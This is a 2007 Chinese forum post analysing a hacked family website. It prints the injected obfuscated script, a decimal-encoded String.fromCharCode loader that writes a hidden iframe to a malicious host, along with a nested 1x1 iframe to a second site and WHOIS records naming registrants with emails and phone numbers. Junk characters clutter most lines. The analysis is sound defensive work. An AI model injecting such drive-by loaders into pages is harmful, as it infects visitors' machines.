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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, B;Ab`UX#t  
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http://www.areway.cn/?p=175 |[(4h  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 1uz9zhG><  
          Kc_QxON4  
<script>t=’60,105,102,114,97,109,101, YOwo\'|=  
32,115,114,99,61,104,116,116,112,58,47,47, :M9'wg  
102,114,101,101,46,117,45,117,117,117,46,99, n^'ip{  
110,47,101,114,114,111,114,46,104,116,109, .5|AX6p+^  
32,119,105,100,116,104,61,49,48,48,32,104, t Krr5SRb  
101,105,103,104,116,61,48,62,60,47,105,102, HT)b3Ws~M8  
114,97,109,101,62′; ]Gm,sp.x  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> }"wWSPD  
                                                                                                  B5*{85p(u  
<script>t=’60,105,102,114,97,109,101,32,115, }MW*xtGV  
114,99,61,104,116,116,112,58,47,47,102,114, [tym~ZZ]_m  
101,101,46,117,45,117,117,117,46,99,110,47, q0{KYWOvk  
101,114,114,111,114,46,104,116,109,32,119, J!O5`k*.C  
105,100,116,104,61,49,48,48,32,104,101,105, nzE4P3 C+  
103,104,116,61,48,62,60,47,105,102,114,97, v' .:?9  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); \ F#mwl,>"  
document.write(t);</script> Q\&FuU  
                                                                                                  .9+"rK}u  
<html xmlns=” %/b?T]{  
http://www.w3.org/1999/xhtml frbKi _1  
“> ZXljCiNn+\  
<head> A U9Y0<  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> GLQ1rT  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> JDfkm+}uY  
<title>首页 - 爱生活家庭网 |4aV~n[>#  
                                                                                                                                                    f!a[+^RB:  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 %sP C3L  
转换字符串后的大概内容是(谁点击后果自付): zg+78  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… N[d*_KN.!  
                                                                                                                                  [ \ LA  
查询玉米u-uuu.cn的详细信息: EWNh:<F?  
Domain Name: u-uuu.cn zm) ]cq  
ROID: 20070901s10001s64972306-cn hH[UIe  
Domain Status: ok xK9"t;!C&  
Registrant Organization: 王雷 uS<7X7|!0  
Registrant Name: 王雷 =z'- B~  
Administrative Email: czlovexs@126.com _HX 1E  
Sponsoring Registrar: 北京万网志成科技有限公司 Z0g3> iItM  
Name Server:ns.yovole.com ]N_(M   
Name Server:ns1.yovole.com f1(V~{N,+  
Registration Date: 2007-09-01 17:54 c<L^ 1,G2  
Expiration Date: 2008-09-01 17:54 {[hH: \  
最后PING了一下地址 都没有什么…. *Uie{^p?  
                                                                                                <:0649ZB  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. U:m[* }+<  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> fs+l  
<script language=”javascript” src=” (xpj?zlmM  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script =`[08  
> =Ig'Aw$x  
这个玉米应该有可能是木马作者的: v Ic 0V  
foafau.info的详细信息: 3P~I' FQ  
Access to INFO WHOIS information is provided to assist persons in u@5vK2  
determining the contents of a domain name registration record in the /:d03N\9k  
Afilias registry database. The data in this record is provided by _}R?&yO  
Afilias Limited for informational purposes only, and Afilias does not U*`7   
guarantee its accuracy.  This service is intended only for query-based ewg&DBbN"  
access. You agree that you will use this data only for lawful purposes Gf\Dc   
and that, under no circumstances will you use this data to: (a) allow, LvgNdVJDP|  
enable, or otherwise support the transmission by e-mail, telephone, or [>QV^2'Z  
facsimile of mass unsolicited, commercial advertising or solicitations W&ya_iP~C  
to entities other than the data recipient’s own existing customers; or !c[(#g  
(b) enable high volume, automated, electronic processes that send L&ySXc=  
queries or data to the systems of Registry Operator, a Registrar, or >B/ jTn5=  
Afilias except as reasonably necessary to register domain names or a_XM2dc%  
modify existing registrations. All rights reserved. Afilias reserves "-Gjw B  
the right to modify these terms at any time. By submitting this query, exrsYo!%  
you agree to abide by this policy. - FV$Sne  
Domain ID:D22418703-LRMS IJ2]2FI  
Domain Name:FOAFAU.INFO tp<uN~rTgh  
Created On:20-Nov-2007 16:05:42 UTC 3?SofPtc/  
Last Updated On:20-Nov-2007 16:05:44 UTC xZW6Hk _  
Expiration Date:20-Nov-2008 16:05:42 UTC *CZvi0&  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) md:$O C3  
Status:CLIENT DELETE PROHIBITED Y~EKMowI&e  
Status:CLIENT RENEW PROHIBITED RB.&,1  
Status:CLIENT TRANSFER PROHIBITED @-nCK Yj  
Status:CLIENT UPDATE PROHIBITED S/G6NBnbS  
Status:TRANSFER PROHIBITED 4zs1BiMG  
Registrant ID:GODA-040110615 ,}2yxo;i  
Registrant Name:liu hong H$TYp  
Registrant Organization: 0KO_bF#EB=  
Registrant Street1:beijing *c4uCI:0t  
Registrant Street2: lMz5))Rr  
Registrant Street3: La9v97H:  
Registrant City:beijing sc'QNhrW  
Registrant State/Province: *t J+!1  
Registrant Postal Code:100000 Wc [@,  
Registrant Country:CN a)=WDRk  
Registrant Phone:+86.860108888777 T`KH7y|bv  
Registrant Phone Ext.: qOYCQ  
Registrant FAX: rStfluPL  
Registrant FAX Ext.: vKN"o* q  
Registrant Email:bbbshiji@163.com 3-#|6khqt  
Admin ID:GODA-240110615 oV utHt  
Admin Name:liu hong gXN#<g,:^  
Admin Organization: ]Aap4+s  
Admin Street1:beijing ga&l.:lo  
Admin Street2: wU,{ 5w  
Admin Street3: ^_ <jg0V  
Admin City:beijing #mwV66'H  
Admin State/Province: R2WEPMH%  
Admin Postal Code:100000 sKYb&2 wJ  
Admin Country:CN s2A3.SN  
Admin Phone:+86.860108888777 EM]~yn!+  
Admin Phone Ext.: S'M=P_-7  
Admin FAX: 7^,C=2  
Admin FAX Ext.: Ci6yH( RE  
Admin Email:bbbshiji@163.com Sp$~)f'  
Billing ID:GODA-340110615 E6a$c`H@?  
Billing Name:liu hong iL(rZT&^  
Billing Organization: m<)0 XE6w  
Billing Street1:beijing Z&FC:4!!  
Billing Street2: g*C&Pr3  
Billing Street3: :acnrW>i[@  
Billing City:beijing +g,:!5pg  
Billing State/Province: Gc2sY 0  
Billing Postal Code:100000 S!Ue+jW  
Billing Country:CN {|?OKCG{  
Billing Phone:+86.860108888777 ~ l"70\&  
Billing Phone Ext.: Cc*"cQe  
Billing FAX: i0DYdUj  
Billing FAX Ext.: wjh[}rTV*  
Billing Email:bbbshiji@163.com Nw ;BhBt  
Tech ID:GODA-140110615 fD+'{ivN4  
Tech Name:liu hong csE 9Ns  
Tech Organization: 7NC"}JB&  
Tech Street1:beijing .|Y2'TWQ  
Tech Street2: 'W>Bz,M6yo  
Tech Street3: 6*,'A|t?y  
Tech City:beijing (+7gS_c  
Tech State/Province: |S48xsFvq  
Tech Postal Code:100000 eUlF4l<]  
Tech Country:CN w"d~R   
Tech Phone:+86.860108888777 YBn"9w\#  
Tech Phone Ext.: #- $?2?2  
Tech FAX: nN" Y~W^k  
Tech FAX Ext.: q !\Ht2$b  
Tech Email:bbbshiji@163.com 2KVMQH`B9  
Name Server:NS27.DOMAINCONTROL.COM L4`bGZl55  
Name Server:NS28.DOMAINCONTROL.COM pOP`n3m0  
Name Server: UMR0S5`}  
Name Server: gX<"-,5jc  
Name Server: N: 'v^0  
Name Server: ?8[,0l:|  
Name Server: +7n;Bsk _  
Name Server: `<&RZB2  
Name Server: cPA-EH  
Name Server: Pk/{~!+ $  
Name Server: NIufL }6\  
Name Server: cF!ygz//  
Name Server: =ic"K6mhq  
                                                                                                          KrE:ilm#^Y  
接着下载每个文件里面的代码: K  +n  
一步一步看.. 4cJ7W_ >i6  
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都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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